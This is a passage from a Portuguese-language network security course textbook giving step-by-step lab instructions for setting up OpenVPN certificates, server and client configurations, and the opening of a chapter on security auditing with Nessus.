Organization Name (eg, company) [Fort-Funston]:Rede 
Nacional de Pesquisa
Organizational Unit Name (eg, section) []: Escola Superior 
de Redes
Common Name (eg, your name or your server’s hostname) 
[Fort-Funston CA]:ca.rnp.br
Email Address [me@myhost.mydomain]:ca@rnp.br
172
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Passo 3 Para gerar o certificado do servidor OpenVPN, vamos utilizar o comando:
# ./build-key-server FWGW1-G
Serão solicitadas informações para o certificado do servidor. 
Podemos utilizar o exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]: Rede 
Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de 
Redes
Common Name (eg, your name or your server’s hostname) 
[FWGW1-A]:fwgw1-G.esr.rnp.br
Email Address [me@myhost.mydomain]:admin@esr.rnp.br
Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []:
Ao final serão realizadas duas perguntas. As respostas devem ser positivas.
Passo 4 Para gerar o certificado do cliente, podemos utilizar o comando:
# ./build-key clienteXP
Será solicitado também os dados para o certificado do cliente, podemos 
utilizar o exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]: Rede 
Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de 
Redes
Common Name (eg, your name or your server’s hostname) 
[FWGW1-A]:clientexp.esr.rnp.br
Email Address [me@myhost.mydomain]:aluno@esr.rnp.br
Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []:
Ao final serão realizadas duas perguntas. As respostas devem ser positivas.
Passo 5 É necessário gerar também os parâmetros para o Diffie Hellman; para isso, 
utilize o comando:
# ./build-dh
173
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 6 Os certificados foram gerados no subdiretório keys. Vamos copiar os certificados 
necessários para o servidor para o diretório /etc/openvpn/keys com os comandos:
# mkdir /etc/openvpn/keys
# cp keys/ca.crt /etc/openvpn/keys
# cp keys/FWGW1-G.crt /etc/openvpn/keys
# cp keys/FWGW1-G.key /etc/openvpn/keys
# cp keys/dh1024.pem /etc/openvpn/keys
Para aumentar ainda mais o nível de segurança, vamos gerar uma chave 
estática que deve ser configurada tanto no servidor quanto nos clientes da 
VPN. Para isso execute dentro do diretório /etc/openvpn/keys (essa chave será 
utilizada em outra atividade):
 # openvpn --genkey --secret static.key
Passo 7 É necessário editar o arquivo de configuração do OpenVPN. No host FWGW1, 
crie um arquivo com o seu editor de texto: /etc/openvpn/openvpn.conf.
Podemos utilizar o seguinte arquivo de configuração como exemplo:
port 1194
proto udp
dev tun
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
dh /etc/openvpn/keys/dh1024.pem
server 10.8.G.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push “route 10.1.G.0 255.255.255.0”
push “route 172.16.G.0 255.255.255.0”
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3
Passo 8 Inicie o servidor OpenVPN com o comando:
# /etc/init.d/openvpn start
Passo 9 Forneça as chaves do cliente para o seu colega de laboratório utilizar na 
estação Windows XP que será utilizada por ele para estabelecer a VPN. Você 
precisa fornecer os seguintes arquivos:
keys/clienteXP.crt
keys/clienteXP.key
keys/ca.crt
keys/dh1024.pem
keys/static.key
174
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Configure o host Windows XP para estabelecer a conexão VPN SSL com o gateway de seu 
colega. Iremos utilizar o cliente de VPN disponibilizado no site do OpenVPN.
Passo 1 A partir do host Windows XP, com um navegador, entre no site do OpenVPN 
(http://openvpn.net/) faça o download da última versão do cliente OpenVPN 
para Windows XP e proceda com a instalação do cliente. Por exemplo: 
http://swupdate.openvpn.net/community/releases/openvpn-2.1.4-install.exe
Passo 2 Coloque os certificados fornecidos pelo seu colega de laboratório na pasta:
C:\Program Files\OpenVPN\config
Passo 3 Crie o arquivo de configuração para a conexão VPN:
C:\Program Files\OpenVPN\config\Lab07SEG2.ovpn
Com o seguinte conteúdo:
client
dev tun
proto udp
remote Y.Y.Y.Y 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert clienteXP.crt
key clienteXP.key
verb 3
Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do seu 
colega de laboratório, onde será estabelecida a VPN.
Passo 4 Abra o Windows Explorer na pasta de configuração do OpenVPN:
C:\Program Files\OpenVPN\config
Clique com o botão direito do mouse sobre o arquivo de configuração criado 
no passo anterior.
Escolha a opção “Start OpenVPN on this config file”.
175
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 5 Verifique o funcionamento com testes de ping. Ex.:
C:\>ping 172.16.G.10
Pinging 172.16.G.10 with 32 bytes of data:
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63
Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63
Ping statistics for 172.16.1.10:
 Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 2ms, Maximum = 5ms, Average = 4ms
C:\>ping 10.1.G.10
Pinging 10.1.G.10 with 32 bytes of data:
Reply from 10.1.G.10: bytes=32 time=5ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Ping statistics for 10.1.G.10:
 Packets: Sent = 4, Received = 4, Lost= 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 1ms, Maximum = 5ms, Average = 2ms
C:\>
176
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Atividade 3 – Servidor VPN SSL para múltiplos clientes
Nesta atividade, vamos realizar uma configuração mais avançada do OpenVPN. O objetivo é 
implementar uma solução de VPN para vários clientes simultâneos. A próxima figura ilustra 
como seria essa topologia:
Topologia A
Internet
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.1.0/24
DMZ 172.16.1.0/24
Host 
Windows
Host 
Windows
Host 
Windows
177
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
1. Vamos configurar o host FWGW1 como servidor de VPN SSL para múltiplos clientes, que 
receberá conexões na interface externa conectada à internet.
Passo 1 Caso não exista, crie um usuário chamado aluno com a senha rnpesr
 #adduser aluno
Para atender à necessidade acima, será necessário, ainda, inserir uma 
regra de firewall para realizar o NAT de todos os pacotes cuja origem seja a 
rede VPN e o destino seja as máquinas da rede interna.
 #/sbin/iptables –t nat -A POSTROUTING -s 
10.8.G.0.0/255.255.255.0 -o eth0 -j MASQUERADE
Modificar o arquivo /etc/openvpn/server.conf com o conteúdo abaixo. 
Observe que várias linhas que estão comentadas poderiam ser utilizadas 
no seu ambiente. Digite apenas as linhas que não estão comentadas.
;;;;;;;;;;;;;;;;;;
; confs do servico
;;;;;;;;;;;;;;;;;;
mode server # Habilita modo site-to-client
tls-server # Servidor de Certificado
proto udp # Protocolo
port 1194 # Porta
dev tun # Nome para interface virtual
max-clients 10 # Limita a quantidade máxima de 
clientes
;;;;;;;;;;;;;;;;;;
; confs dos certificados
;;;;;;;;;;;;;;;;;;;;;;;;
dh /etc/openvpn/keys/dh1024.pem
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
key /etc/openvpn/keys/ FWGW1-G.key
tls-auth /etc/openvpn/keys/static.key
duplicate-cn #permite vários clientes com única chave
;;;;;;;;;;;;;;;;;;;;;
;confs de rede
;IP-SRV 10.8.G.1 /
;IP-NWK 10.8.G.0
;;;;;;;;;;;;;;;;;;;;;
# fornece a subrede da VPN (implica automaticamente tls)
server 10.8.G.0 255.255.255.0 
#define as rotas para os clientes
push “route 10.1.G.0 255.255.255.0”
push “route 172.16.G.0 255.255.255.0”
# fixar endereços ips para clientes
ifconfig-pool-persist ipp.txt 
178
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
;;;;;;;;;;;;;;;;;;;;;;;;
;Ativa compactação de pacotes
;;;;;;;;;;;;;;;;;;;;;;;;
comp-lzo
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;confs de manutenção de estado
; do tunel por ping
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push “ping 10”
push “ping-restart 60”
keepalive 10 120
persist-key
persist-tun
tls-timeout 120
;;;;;;;;;;;;;;;;;;;;;;;;
;confs de armazenamento
; de logs
;;;;;;;;;;;;;;;;;;;;;;;;
status-version 2 # Versao do status
status /var/log/openvpn-status.log # Local de armaz status
log-append /var/log/openvpn.log # Local de armaz log
verb 4 # nivel detalhamento
;;;;;;;;;;;;;;;;;;;;;
;confs do modulo PAM
;;;;;;;;;;;;;;;;;;;;;
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
username-as-common-name
Reinicie o servidor OpenVPN
 # /etc/init.d/openvpn restart
 
Antes de continuar, verifique se os horários de todos os 
equipamentos estão sincronizados.
 
179
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Passo 2 Agora vamos configurar um cliente para o OpenVPN. Crie o arquivo client.
ovpn na pasta C:\Program Files\OpenVPN\config com o conteúdo abaixo:
remote Y.Y.Y.Y
proto udp
port 1194
client
pull
dev tun
comp-lzo
keepalive 10 120
persist-key
persist-tun
float
tls-client
dh dh1024.pem
ca ca.crt
cert clienteXP.crt
key clienteXP.key
tls-auth static.key
auth-user-pass
Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do 
seu colega de laboratório, onde será estabelecida a VPN.
Passo 3 Abra o Windows Explorer na pasta de configuração do OpenVPN:
C:\Program Files\OpenVPN\config
Clique com o botão direito do mouse sobre o arquivo de configuração 
criado no passo anterior.
Escolha a opção “Start OpenVPN on this config file”.
180
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Passo 4 Verifique o funcionamento com testes de ping. Ex.:
C:\>ping 172.16.G.10
Pinging 172.16.G.10 with 32 bytes of data:
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63
Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63
Ping statistics for 172.16.1.10:
 Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 2ms, Maximum = 5ms, Average = 4ms
C:\>ping 10.1.G.10
Pinging 10.1.G.10 with 32 bytes of data:
Reply from 10.1.G.10: bytes=32 time=5ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Ping statistics for 10.1.G.10:
 Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
 Minimum = 1ms, Maximum = 5ms, Average = 2ms
C:\>
181
 
C
ap
ítu
lo
 8
 - 
Au
di
to
ri
a 
de
 S
eg
ur
an
ça
 d
a 
In
fo
rm
aç
ão
ob
je
tiv
os
conceitos
8
Auditoria de Segurança 
da Informação
Realizar uma auditoria com a ferramenta Nessus, diferenciar análise de 
vulnerabilidades de testes de penetração e estudar conceitos relacionados 
à auditoria de Segurança da Informação.
 
Análise de vulnerabilidades, testes de penetração e auditorias de Segurança 
da Informação com a ferramenta Nessus. 
 
 
Introdução
Podemos definir auditoria como a medição de algo contra um padrão. Apesar de estarmos 
tratando de Segurança da Informação, o conceito de auditoria pode ser aplicado em qual-
quer área, como qualidade, ambiental, financeira, de conformidade etc.
Quando tratamos especificamente de auditoria de SI, podemos estar auditando o cumpri-
mento de uma política de segurança, a eficácia de um novo sistema de segurança (como 
um firewall), se um sistema está com todas as correções conhecidas aplicadas, entre 
outros. Neste capítulo, vamos tratar especificamente de auditoria de segurança, utilizando 
ferramentas e técnicas para verificar se as implementações de segurança realizadas nos 
capítulos anteriores estão provendo o nível de segurança especificado. Entre as técnicas 
utilizadas em auditorias, as mais comuns são a análise de vulnerabilidades e os testes de 
penetração (penetration testing ou pentest).
É importante ressaltar que este capítulo trata apenas da auditoria de dispositivos de segu-
rança, sem entrar em questões de políticas, análise de risco e outros tópicos relacionados 
à governança e normatização. Esses assuntos são tratados em detalhes no curso Gestão da 
Segurança da Informação – NBR 27001 e NBR 27002, oferecido pela Escola Superior de Redes.
Exercício de nivelamento 1 e 
Auditoria de Segurança da Informação
O que você entende por auditoria de segurança da informação?
182
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Como a auditoria de dispositivos de segurança é realizada na sua organização?
Análise de vulnerabilidades
qVulnerabilidade:
 1 Falha em um sistema

Mais conteúdos dessa disciplina